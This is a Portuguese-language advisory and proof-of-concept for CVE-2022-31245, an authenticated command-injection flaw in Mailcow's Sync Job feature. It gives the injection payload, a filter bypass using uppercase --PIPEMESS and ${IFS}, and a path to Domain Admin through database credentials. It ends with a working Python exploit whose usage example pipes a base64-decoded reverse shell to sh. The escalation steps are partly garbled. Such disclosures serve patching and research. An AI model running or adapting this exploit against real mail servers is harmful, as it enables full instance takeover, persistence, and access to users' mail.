
CVE-2022-31245: RCE e escalada de privilégios de administrador de domínio para Mailcow
CVE-2022-31245: RCE e escalonamento de privilégios para Domain Admin no Mailcow. Incluindo POC.
Reportado e corrigido: 2022-05
Versão corrigida: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245
Severidade: 3/3
Tipo: Injeção de comando, RCE, Domain Takeover
Versões afetadas: pelo menos 2019 - 2022-05c
Existe uma falha em todas as versões recentes do Mailcow onde um usuário comum do sistema pode explorar o recurso "Sync Job" para obter um shell usando uma injeção de comando no imapsync. Usando essa vulnerabilidade, um atacante pode então facilmente migrar para o banco de dados e escalar privilégios para o papel de "Domain Admin" no Mailcow.
Este exploit inclui persistência por padrão, já que os Sync Jobs são executados por um temporizador.
Este exploit compromete toda a instância do Mailcow. Testado e funcionando na versão de 2022-05c. Corrigido em 2022-05d.
Usando os passos abaixo, a vulnerabilidade pode ser reproduzida.
Obtendo shell:
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD
Onde o campo "Custom Parameters" é o campo importante. CMD pode ser um comando shell arbitrário sem espaços. Usar letras maiúsculas é importante!Exemplo de payload de Custom Parameters:
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
CMD não pode conter espaços, aspas ou barras; use ${IFS} em vez de espaço. Usar maiúsculas em --PIPEMESS é importante para bypass da verificação em functions.mailbox.inc.php na linha 340:
if (strpos($custom_params, 'pipemess')) {
$custom_params = '';
}
Este comando em maiúsculas ainda funciona devido ao fato de que o imapsync não diferencia maiúsculas de minúsculas.
Escalonamento de privilégios:
envDBUSER e DBPASSmysql e as credenciaisPOC automatizada. Em alguns casos, a POC pode precisar de modificações para funcionar contra instâncias Mailcow não locais.
#!/bin/python3
description = """
Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io
This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.
Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'
"""
import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime
parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)
args = parser.parse_args()
base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd
# Get the required csrf token
def find_csrf_token(text):
try:
start1 = text.index("var csrf_token")
start2 = text.index("'", start1)
end2 = text.index("'", start2+1)
csrf_token = text[start2+1:end2]
return csrf_token
except:
return ""
login_url = base_url + '/'
s = requests.Session()
# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)
token = find_csrf_token(r1.text)
if not token:
print("Error no token found, login problems?")
sys.exit(0)
print(f"CSRF token: {token}")
sync_url = base_url + '/api/v1/add/syncjob'
# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)
c = r2.content
if c.find(b"mailbox_modified") != -1:
print("Success, rule modified")
elif c.find(b"object_exists") != -1:
print("ERROR: Object exists, remove existing rule before running this")
print(c)
sys.exit(0)
else:
print("ERROR: Something went wrong")
print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")